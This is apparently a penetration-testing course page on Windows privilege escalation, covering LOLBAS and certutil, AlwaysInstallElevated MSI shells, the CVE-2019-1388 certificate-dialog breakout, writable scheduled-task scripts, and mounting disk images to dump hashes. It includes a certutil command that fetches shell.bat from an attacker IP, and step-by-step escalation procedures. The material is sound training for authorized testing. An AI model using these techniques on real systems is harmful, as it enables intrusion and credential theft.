Miscellaneous Techniques
Living Off The Land Binaries and Scripts (LOLBAS)
The LOLBAS project documents binaries, scripts, and libraries that can be used for "living off the land" techniques on Windows systems. Each of these binaries, scripts and libraries is a Microsoft-signed file that is either native to the operating system or can be downloaded directly from Microsoft and have unexpected functionality useful to an attacker. Some interesting functionality may include:
Code execution
Code compilation
File transfers
Persistence
UAC bypass
Credential theft
Dumping process memory
Keylogging
Evasion
DLL hijacking
Transferring File with Certutil
One classic example is certutil.exe, whose intended use is for handling certificates but can also be used to transfer files by either downloading a file to disk or base64 encoding/decoding a file.
PS C:\htb> certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.batEncoding File with Certutil
We can use the -encode flag to encode a file using base64 on our Windows attack host and copy the contents to a new file on the remote system.
C:\htb> certutil -encode file1 encodedfile
Input Length = 7
Output Length = 70
CertUtil: -encode command completed successfullyDecoding File with Certutil
Once the new file has been created, we can use the -decode flag to decode the file back to its original contents.
A binary such as rundll32.exe can be used to execute a DLL file. We could use this to obtain a reverse shell by executing a .DLL file that we either download onto the remote host or host ourselves on an SMB share.
It is worth reviewing this project and becoming familiar with as many binaries, scripts, and libraries as possible. They could prove to be very useful during an evasive assessment, or one in which the client restricts us to only a managed Windows workstation/server instance to test from.
Always Install Elevated
This setting can be set via Local Group Policy by setting Always install with elevated privileges to Enabled under the following paths.
Computer Configuration\Administrative Templates\Windows Components\Windows InstallerUser Configuration\Administrative Templates\Windows Components\Windows Installer
Enumerating Always Install Elevated Settings
Let's enumerate this setting.
Our enumeration shows us that the AlwaysInstallElevated key exists, so the policy is indeed enabled on the target system.
Generating MSI Package
We can exploit this by generating a malicious MSI package and execute it via the command line to obtain a reverse shell with SYSTEM privileges.
Executing MSI Package
We can upload this MSI file to our target, start a Netcat listener and execute the file from the command line like so:
Catching Shell
If all goes to plan, we will receive a connection back as NT AUTHORITY\SYSTEM.
This issue can be mitigated by disabling the two Local Group Policy settings mentioned above.
CVE-2019-1388
CVE-2019-1388 was a privilege escalation vulnerability in the Windows Certificate Dialog, which did not properly enforce user privileges. The issue was in the UAC mechanism, which presented an option to show information about an executable's certificate, opening the Windows certificate dialog when a user clicks the link. The Issued By field in the General tab is rendered as a hyperlink if the binary is signed with a certificate that has Object Identifier (OID) 1.3.6.1.4.1.311.2.1.10. This OID value is identified in the wintrust.h header as SPC_SP_AGENCY_INFO_OBJID which is the SpcSpAgencyInfo field in the details tab of the certificate dialog. If it is present, a hyperlink included in the field will render in the General tab. This vulnerability can be exploited easily using an old Microsoft-signed executable (hhupd.exe) that contains a certificate with the SpcSpAgencyInfo field populated with a hyperlink.
When we click on the hyperlink, a browser window will launch running as NT AUTHORITY\SYSTEM. Once the browser is opened, it is possible to "break out" of it by leveraging the View page source menu option to launch a cmd.exe or PowerShell.exe console as SYSTEM.
Let's run through the vulnerability in practice.
First right click on the hhupd.exe executable and select Run as administrator from the menu.
Next, click on Show information about the publisher's certificate to open the certificate dialog. Here we can see that the SpcSpAgencyInfo field is populated in the Details tab.
Next, we go back to the General tab and see that the Issued by field is populated with a hyperlink. Click on it and then click OK, and the certificate dialog will close, and a browser window will launch.
If we open Task Manager, we will see that the browser instance was launched as SYSTEM.
Next, we can right-click anywhere on the web page and choose View page source. Once the page source opens in another tab, right-click again and select Save as, and a Save As dialog box will open.
At this point, we can launch any program we would like as SYSTEM. Type c:\windows\system32\cmd.exe in the file path and hit enter. If all goes to plan, we will have a cmd.exe instance running as SYSTEM.
Microsoft released a patch for this issue in November of 2019. Still, as many organizations fall behind on patching, we should always check for this vulnerability if we gain GUI access to a potentially vulnerable system as a low-privilege user.
This link lists all of the vulnerable Windows Server and Workstation versions.
Note: The steps above were done using the Chrome browser and may differ slightly in other browsers.
Scheduled Tasks
Enumerating Scheduled Tasks
We can use the schtasks command to enumerate scheduled tasks on the system.
Enumerating Scheduled Tasks with PowerShell
We can also enumerate scheduled tasks using the Get-ScheduledTask PowerShell cmdlet.
By default, we can only see tasks created by our user and default scheduled tasks that every Windows operating system has. Unfortunately, we cannot list out scheduled tasks created by other users (such as admins) because they are stored in C:\Windows\System32\Tasks, which standard users do not have read access to. It is not uncommon for system administrators to go against security practices and perform actions such as provide read or write access to a folder usually reserved only for administrators. We (though rarely) may encounter a scheduled task that runs as an administrator configured with weak file/folder permissions for any number of reasons. In this case, we may be able to edit the task itself to perform an unintended action or modify a script run by the scheduled task.
Checking Permissions on C:\Scripts Directory
Consider a scenario where we are on the fourth day of a two-week penetration test engagement. We have gained access to a handful of systems so far as unprivileged users and have exhausted all options for privilege escalation. Just at this moment, we notice a writeable C:\Scripts directory that we overlooked in our initial enumeration.
We notice various scripts in this directory, such as db-backup.ps1, mailbox-backup.ps1, etc., which are also all writeable by the BUILTIN\USERS group. At this point, we can append a snippet of code to one of these files with the assumption that at least one of these runs on a daily, if not more frequent, basis. We write a command to send a beacon back to our C2 infrastructure and carry on with testing. The next morning when we log on, we notice a single beacon as NT AUTHORITY\SYSTEM on the DB01 host. We can now safely assume that one of the backup scripts ran overnight and ran our appended code in the process. This is an example of how important even the slightest bit of information we uncover during enumeration can be to the success of our engagement. Enumeration and post-exploitation during an assessment are iterative processes. Each time we perform the same task across different systems, we may be gaining more pieces of the puzzle that, when put together, will get us to our goal.
User/Computer Description Field
Checking Local User Description Field
Though more common in Active Directory, it is possible for a sysadmin to store account details (such as a password) in a computer or user's account description field. We can enumerate this quickly for local users using the Get-LocalUser cmdlet.
Enumerating Computer Description Field with Get-WmiObject Cmdlet
We can also enumerate the computer description field via PowerShell using the Get-WmiObject cmdlet with the Win32_OperatingSystem class.
Mount VHDX/VMDK
During our enumeration, we will often come across interesting files both locally and on network share drives. We may find passwords, SSH keys or other data that can be used to further our access. The tool Snaffler can help us perform thorough enumeration that we could not otherwise perform by hand. The tool searches for many interesting file types, such as files containing the phrase "pass" in the file name, KeePass database files, SSH keys, web.config files, and many more.
Three specific file types of interest are .vhd, .vhdx, and .vmdk files. These are Virtual Hard Disk, Virtual Hard Disk v2 (both used by Hyper-V), and Virtual Machine Disk (used by VMware). Let's assume that we land on a web server and have had no luck escalating privileges, so we resort to hunting through network shares. We come across a backups share hosting a variety of .VMDK and .VHDX files whose filenames match hostnames in the network. One of these files matches a host that we were unsuccessful in escalating privileges on, but it is key to our assessment because there is an Active Domain admin session. If we can escalate to SYSTEM, we can likely steal the user's NTLM password hash or Kerberos TGT ticket and take over the domain.
If we encounter any of these three files, we have options to mount them on either our local Linux or Windows attack boxes. If we can mount a share from our Linux attack box or copy over one of these files, we can mount them and explore the various operating system files and folders as if we were logged into them using the following commands.
Mount VMDK on Linux
Mount VHD/VHDX on Linux
In Windows, we can right-click on the file and choose Mount, or use the Disk Management utility to mount a .vhd or .vhdx file. If preferred, we can use the Mount-VHD PowerShell cmdlet. Regardless of the method, once we do this, the virtual hard disk will appear as a lettered drive that we can then browse.
For a .vmdk file, we can right-click and choose Map Virtual Disk from the menu. Next, we will be prompted to select a drive letter. If all goes to plan, we can browse the target operating system's files and directories. If this fails, we can use VMWare Workstation File --> Map Virtual Disks to map the disk onto our base system. We could also add the .vmdk file onto our attack VM as an additional virtual hard drive, then access it as a lettered drive. We can even use 7-Zip to extract data from a .vmdk file. This guide illustrates many methods for gaining access to the files on a .vmdk file.
Retrieving Hashes using Secretsdump.py
Why do we care about a virtual hard drive (especially Windows)? If we can locate a backup of a live machine, we can access the C:\Windows\System32\Config directory and pull down the SAM, SECURITY and SYSTEM registry hives. We can then use a tool such as secretsdump to extract the password hashes for local users.
We may get lucky and retrieve the local administrator password hash for the target system or find an old local administrator password hash that works on other systems in the environment (both of which I have done on quite a few assessments).
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